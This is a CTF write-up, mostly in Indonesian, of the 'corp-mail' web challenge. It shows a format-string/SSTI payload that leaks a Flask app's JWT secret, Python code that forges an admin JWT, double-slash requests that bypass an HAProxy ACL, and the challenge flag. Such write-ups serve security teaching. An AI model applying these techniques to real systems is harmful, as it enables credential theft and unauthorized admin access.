Writeup Aria
C2C QualificationWeb

corp-mail

corp-mail

description

Author: lordrukie x beluga

Rumor said that my office's internal email system was breached somewhere... must've been the wind.

Overview

Challenge ini adalah aplikasi web email korporat berbasis Flask yang dilindungi oleh HAProxy.

Vulnerability: Python Format String Injection (SSTI-like) & HAProxy ACL Bypass. Goal: Mendapatkan akses Admin untuk membaca email user lain (di mana flag berada). Proteksi: Aplikasi menggunakan JWT untuk autentikasi. Endpoint /admin dilindungi oleh HAProxy (kemungkinan diblokir dari luar).

Langkah Penyelesaian

1. Information Disclosure (Format String Injection)

Celah keamanan terdapat pada fitur Update Signature di halaman /settings. Aplikasi mengambil input signature dari pengguna dan langsung memprosesnya menggunakan fungsi formatting tanpa sanitasi yang memadai.

Analisis Source Code (application/routes/user.py):

# ...existing code...
@bp.route('/settings', methods=['GET', 'POST'])
@login_required
def settings():
    if request.method == 'POST':
        signature_template = request.form.get('signature', '')
        formatted_signature = format_signature(signature_template, g.user['username'])
        db.execute('UPDATE users SET signature = ? WHERE id = ?', (formatted_signature, g.user['user_id']))

Karena signature_template diperlakukan sebagai template, payload berikut akan mengembalikan konfigurasi aplikasi (termasuk JWT secret):

{{ app.config }}

Langkah singkat:

  • Daftar akun baru → Login → buka /settings → masukkan {{ app.config }} sebagai signature → submit → lihat output di halaman profile/preview.

alt text

Output berisi konfigurasi aplikasi — catat nilai JWT_SECRET. alt text

2. Forge JWT (menjadi admin)

Dengan JWT_SECRET, kita dapat membuat token baru dengan is_admin set ke 1. Contoh pembuatan token menggunakan Python (pyjwt):

import jwt

secret = "<JWT_SECRET_FROM_APP>"
payload = {"user_id": 2, "username": "you", "is_admin": 1}
token = jwt.encode(payload, secret, algorithm='HS256')
print(token)

Set cookie session menggunakan token baru ini (misal session=...) lalu akses endpoint admin.

Langkah singkat:

  • Ambil Token Asli: Login sebagai user biasa dan ambil cookie session. alt text

  • Decode Token, lalu copy payload token itu ke encode alt text

  • forge Token: Ubah is_admin menjadi 1 dan sign ulang menggunakan secret yang di dapat sebelumnya. alt text

  • Gunakan token baru ini untuk mengakses endpoint admin. alt text

3. Bypass HAProxy (path normalization)

Walaupun token sudah menjadi admin, akses ke /admin diblokir oleh HAProxy ACL. Namun beberapa server (termasuk Flask) melakukan normalisasi path sehingga //admin diperlakukan sama dengan /admin. HAProxy sering mencocokkan literal path dan tidak menormalkan //.

Oleh karena itu, gunakan double slash untuk melewati ACL:

GET //admin/user/1/emails
GET //admin/email/5

//admin/user/1/emails alt text

//admin/email/5 alt text

Flag

C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_4c7c96aecc9b}

On this page